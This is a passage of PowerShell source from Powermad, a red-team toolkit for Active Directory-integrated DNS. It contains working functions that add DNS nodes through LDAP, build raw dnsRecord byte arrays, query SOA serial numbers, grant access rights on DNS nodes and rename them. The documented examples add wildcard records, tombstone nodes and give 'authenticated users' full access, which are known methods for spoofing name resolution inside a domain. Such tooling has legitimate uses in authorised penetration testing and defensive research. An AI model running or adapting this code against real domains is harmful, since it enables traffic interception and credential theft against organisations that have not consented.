            {
                $distinguished_name = "DC=$partition_entry"
            }

            $DC_array = $Domain.Split(".")

            ForEach($DC in $DC_array)
            {
                $distinguished_name += ",DC=$DC"
            }

            Write-Verbose "[+] Distinguished Name = $distinguished_name"
        }
        else
        {
            $distinguished_name = $DistinguishedName
        }

        if($Credential)
        {
            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
        }
        else
        {
            $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
        }

        try
        {
            $directory_searcher = New-Object System.DirectoryServices.DirectorySearcher($directory_entry)
            
            if($Zone)
            {
                $directory_searcher.filter = "(&(objectClass=dnszone)(name=$Zone))"
            }
            else
            {
                $directory_searcher.filter = "(objectClass=dnszone)"
            }

            $search_results = $directory_searcher.FindAll()

            for($i=0; $i -lt $search_results.Count; $i++)
            {
                $output += $search_results.Item($i).Properties.distinguishedname
            }

        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
        }

        if($directory_entry.Path)
        {
            $directory_entry.Close()
        }

    }

    return $output
}

function Grant-ADIDNSPermission
{
    <#
    .SYNOPSIS
    This function adds an ACE to an ADIDNS node or zone DACL.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    Users that create a new DNS node through LDAP or secure dynamic updates will have full
    control access. This function can be used to provide additional accounts or groups access to the node.
    Although this function will work on DNS zones, non-administrators will rarely have the ability
    to modify an ADIDNS zone.

    .PARAMETER Access
    Default = GenericAll: The ACE access type. The options our, AccessSystemSecurity, CreateChild, Delete,
    DeleteChild, DeleteTree, ExtendedRight , GenericAll, GenericExecute, GenericRead, GenericWrite, ListChildren,
    ListObject, ReadControl, ReadProperty, Self, Synchronize, WriteDacl, WriteOwner, WriteProperty.

    .PARAMETER Credential
    PSCredential object that will be used to modify the DACL.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS node or zone.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Principal
    The user or group that will be used for the ACE.

    .PARAMETER Type
    Default = Allow: The ACE allow or deny access type.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Add full access to a wildcard record for "Authenticated Users".
    Grant-ADIDNSPermission -Node * -Principal "authenticated users"

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][ValidateSet("AccessSystemSecurity","CreateChild","Delete","DeleteChild",
        "DeleteTree","ExtendedRight","GenericAll","GenericExecute","GenericRead","GenericWrite","ListChildren",
        "ListObject","ReadControl","ReadProperty","Self","Synchronize","WriteDacl","WriteOwner","WriteProperty")][Array]$Access = "GenericAll",
        [parameter(Mandatory=$false)][ValidateSet("Allow","Deny")][String]$Type = "Allow",    
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Principal,
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {

        if($Node)
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }
        else
        {

            if($Partition -eq 'System')
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
            }
            else
            {
                $distinguished_name = "DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
            }

        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = $DistinguishedName
    }

    if($Credential)
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry("LDAP://$DomainController/$distinguished_name",$Credential.UserName,$Credential.GetNetworkCredential().Password)
    }
    else
    {
        $directory_entry = New-Object System.DirectoryServices.DirectoryEntry "LDAP://$DomainController/$distinguished_name"
    }

    try
    {
        $NT_account = New-Object System.Security.Principal.NTAccount($Principal)
        $principal_SID = $NT_account.Translate([System.Security.Principal.SecurityIdentifier])
        $principal_identity = [System.Security.Principal.IdentityReference]$principal_SID
        $AD_rights = [System.DirectoryServices.ActiveDirectoryRights]$Access
        $access_control_type = [System.Security.AccessControl.AccessControlType]$Type
        $AD_security_inheritance = [System.DirectoryServices.ActiveDirectorySecurityInheritance]"All"
        $ACE = New-Object System.DirectoryServices.ActiveDirectoryAccessRule($principal_identity,$AD_rights,$access_control_type,$AD_security_inheritance)
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
        throw
    }

    try
    {
        $directory_entry.psbase.ObjectSecurity.AddAccessRule($ACE)
        $directory_entry.psbase.CommitChanges()

        if($Node)
        {
            Write-Output "[+] ACE added for $Principal to $Node DACL"
        }
        else
        {
            Write-Output "[+] ACE added for $Principal to $Zone DACL"
        }

    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

    if($directory_entry.Path)
    {
        $directory_entry.Close()
    }

    return $output
}

function New-ADIDNSNode
{
    <#
    .SYNOPSIS
    This function adds a DNS node to an Active Directory-Integrated DNS (ADIDNS) Zone through an encrypted LDAP
    add request.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function creates an ADIDNS record by connecting to LDAP and adding an object of type dnsNode.

    .PARAMETER Credential
    PSCredential object that will be used to add the ADIDNS node.

    .PARAMETER Data
    For most record types this will be the destination hostname or IP address. For TXT records this can be used
    for data.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER DNSRecord
    dnsRecord attribute byte array. If not specified, New-DNSRecordArray will generate the array. See MS-DNSP for
    details on the dnsRecord structure.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is mandatory on a non-domain attached system.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Forest
    The targeted forest in DNS format. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Port
    SRV record port.

    .PARAMETER Preference
    MX record preference.

    .PARAMETER Priority
    SRV record priority.

    .PARAMETER Tombstone
    Switch: Sets the dnsTombstoned flag to true when the node is created. This places the node in a state that
    allows it to be modified or fully tombstoned by any authenticated user.

    .PARAMETER SOASerialNumber
    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
    DNS server and querying an SOA record.

    .PARAMETER Static
    Switch: Zeros out the timestamp to create a static record instead of a dynamic.

    .PARAMETER TTL
    Default = 600: DNS record TTL.

    .PARAMETER Type
    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, NS, MX, PTR, SRV, and TXT.

    .PARAMETER Weight
    SRV record weight.

    .PARAMETER Zone
    The ADIDNS zone. This parameter is mandatory on a non-domain attached system.

    .EXAMPLE
    Add a wildcard record to an ADIDNS zone and tombstones the node.
    New-ADIDNSNode -Node * -Tombstone

    .EXAMPLE
    Add a wildcard record to an ADIDNS zone from a non-domain attached system.
    $credential = Get-Credential
    New-ADIDNSNode -Node * -DomainController dc1.test.local -Domain test.local -Zone test.local -Credential $credential

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$Data,
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Forest,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][Byte[]]$DNSRecord,
        [parameter(Mandatory=$false)][Int]$Preference,
        [parameter(Mandatory=$false)][Int]$Priority,
        [parameter(Mandatory=$false)][Int]$Weight,
        [parameter(Mandatory=$false)][Int]$Port,
        [parameter(Mandatory=$false)][Int]$TTL = 600,
        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
        [parameter(Mandatory=$false)][Switch]$Static,
        [parameter(Mandatory=$false)][Switch]$Tombstone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    $null = [System.Reflection.Assembly]::LoadWithPartialName("System.DirectoryServices.Protocols")

    if(!$DomainController -or !$Domain -or !$Zone -or !$Forest)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Forest)
    {
        $Forest = $current_domain.Forest
        Write-Verbose "[+] Forest = $Forest"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
        Write-Verbose "[+] ADIDNS Zone = $Zone"
    }

    if(!$DistinguishedName)
    {
        
        if($Partition -eq 'System')
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,CN=$Partition"
        }
        else
        {
            $distinguished_name = "DC=$Node,DC=$Zone,CN=MicrosoftDNS,DC=$Partition"
        }

        $DC_array = $Domain.Split(".")

        ForEach($DC in $DC_array)
        {
            $distinguished_name += ",DC=$DC"
        }

        Write-Verbose "[+] Distinguished Name = $distinguished_name"
    }
    else 
    {
        $distinguished_name = "DC=$Node," + $DistinguishedName
    }

    if(!$DNSRecord)
    {

        try 
        {

            if($Static)
            {
                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone -Static
            }
            else
            {
                $DNSRecord = New-DNSRecordArray -Data $Data -DomainController $DomainController -Port $Port -Preference $Preference -Priority $Priority -SOASerialNumber $SOASerialNumber -TTL $TTL -Type $Type -Weight $Weight -Zone $Zone 
            }
            
            Write-Verbose "[+] DNSRecord = $([System.Bitconverter]::ToString($DNSRecord))"
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw    
        }

    }

    $identifier = New-Object System.DirectoryServices.Protocols.LdapDirectoryIdentifier($DomainController,389)

    if($Credential)
    {
        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier,$Credential.GetNetworkCredential())
    }
    else
    {
        $connection = New-Object System.DirectoryServices.Protocols.LdapConnection($identifier)
    }

    $object_category = "CN=Dns-Node,CN=Schema,CN=Configuration"
    $forest_array = $Forest.Split(".")

    ForEach($DC in $forest_array)
    {
        $object_category += ",DC=$DC"
    }
    
    try
    {
        $connection.SessionOptions.Sealing = $true
        $connection.SessionOptions.Signing = $true
        $connection.Bind()
        $request = New-Object -TypeName System.DirectoryServices.Protocols.AddRequest
        $request.DistinguishedName = $distinguished_name
        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectClass",@("top","dnsNode"))) > $null
        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "objectCategory",$object_category)) > $null
        $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dnsRecord",$DNSRecord)) > $null

        if($Tombstone)
        {
            $request.Attributes.Add((New-Object "System.DirectoryServices.Protocols.DirectoryAttribute" -ArgumentList "dNSTombstoned","TRUE")) > $null
        }
        
        $connection.SendRequest($request) > $null
        Write-Output "[+] ADIDNS node $Node added"
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
    }

}

function New-SOASerialNumberArray
{
    <#
    .SYNOPSIS
    This function gets the current SOA serial number for a DNS zone and increments it by the 
    set amount.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can be used to create a byte array which contains the correct SOA serial number for the
    next record that will be created with New-DNSRecordArray.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Zone
    The DNS zone.

    .PARAMETER Increment
    Default = 1: The number that will be added to the SOA serial number pulled from a DNS server.

    .PARAMETER SOASerialNumber
    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
    DNS server and querying an SOA record.

    .EXAMPLE
    Generate a byte array from the currect SOA serial number incremented by one.
    New-SOASerialNumberArray

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][Int]$Increment = 1,
        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$SOASerialNumber)
    {

        if(!$DomainController -or !$Zone)
        {

            try
            {
                $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
            }
            catch
            {
                Write-Output "[-] $($_.Exception.Message)"
                throw
            }

        }

        if(!$DomainController)
        {
            $DomainController = $current_domain.PdcRoleOwner.Name
            Write-Verbose "[+] Domain Controller = $DomainController"
        }

        if(!$Domain)
        {
            $Domain = $current_domain.Name
            Write-Verbose "[+] Domain = $Domain"
        }

        if(!$Zone)
        {
            $Zone = $current_domain.Name
            Write-Verbose "[+] ADIDNS Zone = $Zone"
        }

        $Zone = $Zone.ToLower()

        function Convert-DataToUInt16($Field)
        {
            [Array]::Reverse($Field)
            return [System.BitConverter]::ToUInt16($Field,0)
        }

        function ConvertFrom-PacketOrderedDictionary($OrderedDictionary)
        {

            ForEach($field in $OrderedDictionary.Values)
            {
                $byte_array += $field
            }

            return $byte_array
        }

        function New-RandomByteArray
        {
            param([Int]$Length,[Int]$Minimum=1,[Int]$Maximum=255)

            [String]$random = [String](1..$Length | ForEach-Object {"{0:X2}" -f (Get-Random -Minimum $Minimum -Maximum $Maximum)})
            [Byte[]]$random = $random.Split(" ") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)}

            return $random
        }

        function New-DNSNameArray
        {
            param([String]$Name)

            $character_array = $Name.ToCharArray()
            [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}

            if($index_array.Count -gt 0)
            {

                $name_start = 0

                ForEach ($index in $index_array)
                {
                    $name_end = $index - $name_start
                    [Byte[]]$name_array += $name_end
                    [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
                    $name_start = $index + 1
                }

                [Byte[]]$name_array += ($Name.Length - $name_start)
                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
            }
            else
            {
                [Byte[]]$name_array = $Name.Length
                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
            }

            return $name_array
        }

        function New-PacketDNSSOAQuery
        {
            param([String]$Name)

            [Byte[]]$type = 0x00,0x06
            [Byte[]]$name = (New-DNSNameArray $Name) + 0x00
            [Byte[]]$length = [System.BitConverter]::GetBytes($Name.Count + 16)[1,0]
            [Byte[]]$transaction_ID = New-RandomByteArray 2
            $DNSQuery = New-Object System.Collections.Specialized.OrderedDictionary
            $DNSQuery.Add("Length",$length)
            $DNSQuery.Add("TransactionID",$transaction_ID)
            $DNSQuery.Add("Flags",[Byte[]](0x01,0x00))
            $DNSQuery.Add("Questions",[Byte[]](0x00,0x01))
            $DNSQuery.Add("AnswerRRs",[Byte[]](0x00,0x00))
            $DNSQuery.Add("AuthorityRRs",[Byte[]](0x00,0x00))
            $DNSQuery.Add("AdditionalRRs",[Byte[]](0x00,0x00))
            $DNSQuery.Add("Queries_Name",$name)
            $DNSQuery.Add("Queries_Type",$type)
            $DNSQuery.Add("Queries_Class",[Byte[]](0x00,0x01))

            return $DNSQuery
        }

        $DNS_client = New-Object System.Net.Sockets.TCPClient
        $DNS_client.Client.ReceiveTimeout = 3000

        try
        {
            $DNS_client.Connect($DomainController,"53")
            $DNS_client_stream = $DNS_client.GetStream()
            $DNS_client_receive = New-Object System.Byte[] 2048
            $packet_DNSQuery = New-PacketDNSSOAQuery $Zone
            [Byte[]]$DNS_client_send = ConvertFrom-PacketOrderedDictionary $packet_DNSQuery
            $DNS_client_stream.Write($DNS_client_send,0,$DNS_client_send.Length) > $null
            $DNS_client_stream.Flush()   
            $DNS_client_stream.Read($DNS_client_receive,0,$DNS_client_receive.Length) > $null
            $DNS_client.Close()
            $DNS_client_stream.Close()

            if($DNS_client_receive[9] -eq 0)
            {
                Write-Output "[-] $Zone SOA record not found"
            }
            else
            {
                $DNS_reply_converted = [System.BitConverter]::ToString($DNS_client_receive)
                $DNS_reply_converted = $DNS_reply_converted -replace "-",""
                $SOA_answer_index = $DNS_reply_converted.IndexOf("C00C00060001")
                $SOA_answer_index = $SOA_answer_index / 2
                $SOA_length = $DNS_client_receive[($SOA_answer_index + 10)..($SOA_answer_index + 11)]
                $SOA_length = Convert-DataToUInt16 $SOA_length
                [Byte[]]$SOA_serial_current_array = $DNS_client_receive[($SOA_answer_index + $SOA_length - 8)..($SOA_answer_index + $SOA_length - 5)]
                $SOA_serial_current = [System.BitConverter]::ToUInt32($SOA_serial_current_array[3..0],0) + $Increment
                [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOA_serial_current)[0..3]
            }

        }
        catch
        {
            Write-Output "[-] $DomainController did not respond on TCP port 53"
        }

    }
    else
    {
        [Byte[]]$SOA_serial_number_array = [System.BitConverter]::GetBytes($SOASerialNumber + $Increment)[0..3]
    }

    return ,$SOA_serial_number_array
}

function New-DNSRecordArray
{
    <#
    .SYNOPSIS
    This function creates a valid byte array for the dnsRecord attribute.

    Author: Kevin Robertson (@kevin_robertson)
    License: BSD 3-Clause

    .DESCRIPTION
    DNS record types and targets are defined within the dnsRecord attribute. This function will create a valid
    array for record type and data. The arrays can be passed to both New-ADIDNSNode and Set-ADIDNSNodeAttribute

    .PARAMETER Data
    For most record types this will be the destination hostname or IP address. For TXT records this can be used
    for data.

    .PARAMETER DomainController
    Domain controller that will be passed to New-SOASerialNumberArray. This parameter is mandatory on a non-domain
    attached system.

    .PARAMETER Port
    SRV record port.

    .PARAMETER Preference
    MX record preference.

    .PARAMETER Priority
    SRV record priority.

    .PARAMETER SOASerialNumber
    The current SOA serial number for the target zone. Note, using this parameter will bypass connecting to a
    DNS server and querying an SOA record.

    .PARAMETER Static
    Switch: Zeros out the timestamp to create a static record instead of a dynamic.

    .PARAMETER TTL
    Default = 600: DNS record TTL.

    .PARAMETER Type
    Default = A: DNS record type. This function supports A, AAAA, CNAME, DNAME, MX, PTR, SRV, and TXT.

    .PARAMETER Weight
    SRV record weight.

    .PARAMETER Zone
    The DNS zone that will be passed to New-SOASerialNumberArray.

    .EXAMPLE
    Create a dnsRecord array for an A record pointing to 192.168.0.1.
    New-DNSRecordArray -Type A -Data 192.168.0.1

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    [OutputType([Byte[]])]
    param
    (
        [parameter(Mandatory=$false)][String]$Data,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$false)][ValidateSet("A","AAAA","CNAME","DNAME","MX","NS","PTR","SRV","TXT")][String]$Type = "A",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][Int]$Preference,
        [parameter(Mandatory=$false)][Int]$Priority,
        [parameter(Mandatory=$false)][Int]$Weight,
        [parameter(Mandatory=$false)][Int]$Port,
        [parameter(Mandatory=$false)][Int]$TTL = 600,
        [parameter(Mandatory=$false)][Int32]$SOASerialNumber,
        [parameter(Mandatory=$false)][Switch]$Static,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$Data -and $Type -eq 'A')
    {

        try
        {
            $Data = (Test-Connection 127.0.0.1 -count 1 | Select-Object -ExpandProperty Ipv4Address)
            Write-Verbose "[+] Data = $Data"
        }
        catch
        {
            Write-Output "[-] Error finding local IP, specify manually with -Data"
            throw
        }

    }
    elseif(!$Data)
    {
        Write-Output "[-] -Data required with record type $Type"
        throw
    }

    try
    {
        $SOASerialNumberArray = New-SOASerialNumberArray -DomainController $DomainController -Zone $Zone -SOASerialNumber $SOASerialNumber
    }
    catch
    {
        Write-Output "[-] $($_.Exception.Message)"
        throw
    }

    function New-DNSNameArray
    {
        param([String]$Name)

        $character_array = $Name.ToCharArray()
        [Array]$index_array = 0..($character_array.Count - 1) | Where-Object {$character_array[$_] -eq '.'}

        if($index_array.Count -gt 0)
        {

            $name_start = 0

            ForEach ($index in $index_array)
            {
                $name_end = $index - $name_start
                [Byte[]]$name_array += $name_end
                [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start,$name_end))
                $name_start = $index + 1
            }

            [Byte[]]$name_array += ($Name.Length - $name_start)
            [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
        }
        else
        {
            [Byte[]]$name_array = $Name.Length
            [Byte[]]$name_array += [System.Text.Encoding]::UTF8.GetBytes($Name.Substring($name_start))
        }

        return $name_array
    }

    switch ($Type)
    {

        'A'
        {
            [Byte[]]$DNS_type = 0x01,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data.Split(".")).Count))[0..1]
            [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
        }

        'AAAA'
        {
            [Byte[]]$DNS_type = 0x1c,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes(($Data -replace ":","").Length / 2))[0..1]
            [Byte[]]$DNS_data += ([System.Net.IPAddress][String]([System.Net.IPAddress]$Data)).GetAddressBytes()
        }
        
        'CNAME'
        {
            [Byte[]]$DNS_type = 0x05,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
            [Byte[]]$DNS_data = $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }

        'DNAME'
        {
            [Byte[]]$DNS_type = 0x27,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
            [Byte[]]$DNS_data = $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }
        
        'MX'
        {
            [Byte[]]$DNS_type = 0x0f,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 6))[0..1]
            [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Preference)[1,0]
            $DNS_data += $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }

        'NS'
        {
            [Byte[]]$DNS_type = 0x02,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
            [Byte[]]$DNS_data = $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }

        'PTR'
        {
            [Byte[]]$DNS_type = 0x0c,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 4))[0..1]
            [Byte[]]$DNS_data = $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }

        'SRV'
        {
            [Byte[]]$DNS_type = 0x21,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 10))[0..1]
            [Byte[]]$DNS_data = [System.Bitconverter]::GetBytes($Priority)[1,0]
            $DNS_data += [System.Bitconverter]::GetBytes($Weight)[1,0]
            $DNS_data += [System.Bitconverter]::GetBytes($Port)[1,0]
            $DNS_data += $Data.Length + 2
            $DNS_data += ($Data.Split(".")).Count
            $DNS_data += New-DNSNameArray $Data
            $DNS_data += 0x00
        }

        'TXT'
        {
            [Byte[]]$DNS_type = 0x10,0x00
            [Byte[]]$DNS_length = ([System.BitConverter]::GetBytes($Data.Length + 1))[0..1]
            [Byte[]]$DNS_data = $Data.Length
            $DNS_data += [System.Text.Encoding]::UTF8.GetBytes($Data)
        }

    }
    
    [Byte[]]$DNS_TTL = [System.BitConverter]::GetBytes($TTL)
    [Byte[]]$DNS_record = $DNS_length +
        $DNS_type +
        0x05,0xF0,0x00,0x00 +
        $SOASerialNumberArray[0..3] +
        $DNS_TTL[3..0] +
        0x00,0x00,0x00,0x00

    if($Static)
    {
        $DNS_record += 0x00,0x00,0x00,0x00
    }
    else
    {
        $timestamp = [Int64](([Datetime]::UtcNow)-(Get-Date "1/1/1601")).TotalHours
        $timestamp = [System.BitConverter]::ToString([System.BitConverter]::GetBytes($timestamp))
        $timestamp = $timestamp.Split("-") | ForEach-Object{[System.Convert]::ToInt16($_,16)}
        $timestamp = $timestamp[0..3]
        $DNS_record += $timestamp
    }
    
    $DNS_record += $DNS_data

    return ,$DNS_record
}

function Rename-ADIDNSNode
{
    <#
    .SYNOPSIS
    This function renames an ADIDNS node.

    Author: Kevin Robertson (@kevin_robertson)  
    License: BSD 3-Clause 
    
    .DESCRIPTION
    This function can be used to rename an ADIDNS node. Note that renaming the ADIDNS node will leave the old
    record within DNS.

    .PARAMETER Credential
    PSCredential object that will be used to rename the ADIDNS node.

    .PARAMETER DistinguishedName
    Distinguished name for the ADIDNS zone. Do not include the node name.

    .PARAMETER Domain
    The targeted domain in DNS format. This parameter is required when using an IP address in the DomainController
    parameter.

    .PARAMETER DomainController
    Domain controller to target. This parameter is mandatory on a non-domain attached system.

    .PARAMETER Node
    The source ADIDNS node name.

    .PARAMETER NodeNew
    The new ADIDNS node name.

    .PARAMETER Partition
    Default = DomainDNSZones: (DomainDNSZones,ForestDNSZones,System) The AD partition name where the zone is stored.

    .PARAMETER Zone
    The ADIDNS zone.

    .EXAMPLE
    Renames an ADIDNS node named test to test2.
    Rename-ADIDNSNode -Node test -NodeNew test2

    .LINK
    https://github.com/Kevin-Robertson/Powermad
    #>

    [CmdletBinding()]
    param
    (
        [parameter(Mandatory=$false)][String]$DistinguishedName,
        [parameter(Mandatory=$false)][String]$Domain,
        [parameter(Mandatory=$false)][String]$DomainController,
        [parameter(Mandatory=$true)][String]$Node,
        [parameter(Mandatory=$false)][String]$NodeNew = "*",
        [parameter(Mandatory=$false)][ValidateSet("DomainDNSZones","ForestDNSZones","System")][String]$Partition = "DomainDNSZones",
        [parameter(Mandatory=$false)][String]$Zone,
        [parameter(Mandatory=$false)][System.Management.Automation.PSCredential]$Credential,
        [parameter(ValueFromRemainingArguments=$true)]$invalid_parameter
    )

    if($invalid_parameter)
    {
        Write-Output "[-] $($invalid_parameter) is not a valid parameter"
        throw
    }

    if(!$DomainController -or !$Domain -or !$Zone)
    {

        try
        {
            $current_domain = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
        }
        catch
        {
            Write-Output "[-] $($_.Exception.Message)"
            throw
        }

    }

    if(!$DomainController)
    {
        $DomainController = $current_domain.PdcRoleOwner.Name
        Write-Verbose "[+] Domain Controller = $DomainController"
    }

    if(!$Domain)
    {
        $Domain = $current_domain.Name
        Write-Verbose "[+] Domain = $Domain"
    }

    if(!$Zone)
    {
        $Zone = $current_domain.Name
